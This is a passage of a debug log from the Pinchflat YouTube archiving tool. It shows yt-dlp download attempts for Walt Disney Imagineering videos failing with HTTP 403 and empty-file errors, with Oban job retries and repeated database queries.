continue\nWARNING: Unable to download format 96-11. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-10. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-9. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-8. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-7. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-6. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-5. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-4. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-3. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-2. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-1. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-0. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n" 19:24:52.988 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":13020},"id":1733,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":13362162,"event":"job:exception","queue_time":726822,"attempt":10,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:25:00.993 [info] {"source":"oban","duration":442,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:25:20.036 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:50.037 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:00.993 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:26:20.038 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:50.039 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:00.994 [info] {"source":"oban","duration":203,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:27:20.040 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:50.041 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:00.995 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:28:20.042 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:50.043 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:59.616 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/32/e5/32e5a86c26cf0810f3550c9f4ea18e5ff7bbc4c8a3160ca8fe8a0135cba0ea45.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 19:28:59.616 [error] yt-dlp download error for media item #11511: "ERROR: The downloaded file is empty\n" 19:28:59.617 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11511},"id":1736,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":346093185,"event":"job:exception","queue_time":365488,"attempt":5,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:29:00.996 [info] {"source":"oban","duration":156,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:29:20.044 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:50.045 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:50.977 [info] {"args":{"id":11511},"id":1736,"meta":{},"system_time":1774999790977255325,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":6,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:29:50.977 [debug] QUERY OK source="media_items" db=0.1ms idle=1456.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11511] 19:29:50.977 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:29:50.978 [debug] QUERY OK source="sources" db=0.1ms idle=1008.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:29:50.978 [debug] QUERY OK source="media_profiles" db=0.1ms idle=933.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:29:50.978 [debug] QUERY OK source="media_items" db=0.2ms idle=8.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11511] 19:29:50.979 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11511] 19:29:50.979 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:29:50.980 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:29:50.980 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:29:50.980 [debug] Running yt-dlp command for action: get_downloadable_status 19:29:50.980 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:29:50.980 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:29:50.981 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:29:50.981 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d8/0c/d80c39283b6f5eda738289b3b5665d6e95d40050e84e2c7b5f8d23952695c034.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:29:54.955 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d8/0c/d80c39283b6f5eda738289b3b5665d6e95d40050e84e2c7b5f8d23952695c034.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:29:54.955 [debug] Running yt-dlp command for action: download 19:29:54.955 [debug] QUERY OK source="settings" db=0.2ms idle=981.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:29:54.956 [debug] QUERY OK source="settings" db=0.1ms idle=435.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:29:54.956 [debug] QUERY OK source="settings" db=0.0ms idle=435.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:29:54.956 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/d3/61/d361f377b8e23bc6a405f44b04a825cfeeaf0f0b0d6904b7f491cc6325b19c1f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:29:54.981 [info] {"args":{"id":12518},"id":1734,"meta":{},"system_time":1774999794981156050,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":10,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:29:54.981 [debug] QUERY OK source="media_items" db=0.2ms idle=25.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12518] 19:29:54.981 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:29:54.982 [debug] QUERY OK source="sources" db=0.2ms idle=25.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:29:54.982 [debug] QUERY OK source="media_profiles" db=0.1ms idle=25.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:29:54.982 [debug] QUERY OK source="media_items" db=0.2ms idle=7.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12518] 19:29:54.983 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12518] 19:29:54.983 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:29:54.984 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:29:54.984 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:29:54.984 [debug] Running yt-dlp command for action: get_downloadable_status 19:29:54.984 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:29:54.985 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:29:54.985 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:29:54.985 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b8/d7/b8d7f5af826410aca26b44ad9be0e189466d447285e09027fc6b4c3c7d2c62e0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:30:00.114 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b8/d7/b8d7f5af826410aca26b44ad9be0e189466d447285e09027fc6b4c3c7d2c62e0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:30:00.114 [debug] Running yt-dlp command for action: download 19:30:00.114 [debug] QUERY OK source="settings" db=0.1ms idle=1593.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:30:00.114 [debug] QUERY OK source="settings" db=0.1ms idle=1594.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:30:00.115 [debug] QUERY OK source="settings" db=0.0ms idle=1594.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:30:00.115 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/5c/bc/5cbc1abb05d80db017de716228c24213583f12bc20bebcad88b1032ee543770d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:30:00.997 [info] {"source":"oban","duration":112,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:30:20.046 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:44.970 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/5c/bc/5cbc1abb05d80db017de716228c24213583f12bc20bebcad88b1032ee543770d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 19:30:44.970 [error] yt-dlp download error for media item #12518: "ERROR: The downloaded file is empty\n" 19:30:44.971 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12518},"id":1734,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":49989772,"event":"job:exception","queue_time":803216,"attempt":10,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:30:50.047 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:00.998 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:31:17.066 [info] {"args":{"id":12001},"id":1735,"meta":{},"system_time":1774999877066304289,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":10,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:31:17.066 [debug] QUERY OK source="media_items" db=0.2ms idle=545.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12001] 19:31:17.067 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:31:17.067 [debug] QUERY OK source="sources" db=0.2ms idle=546.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:31:17.067 [debug] QUERY OK source="media_profiles" db=0.1ms idle=546.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:31:17.068 [debug] QUERY OK source="media_items" db=0.2ms idle=8.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 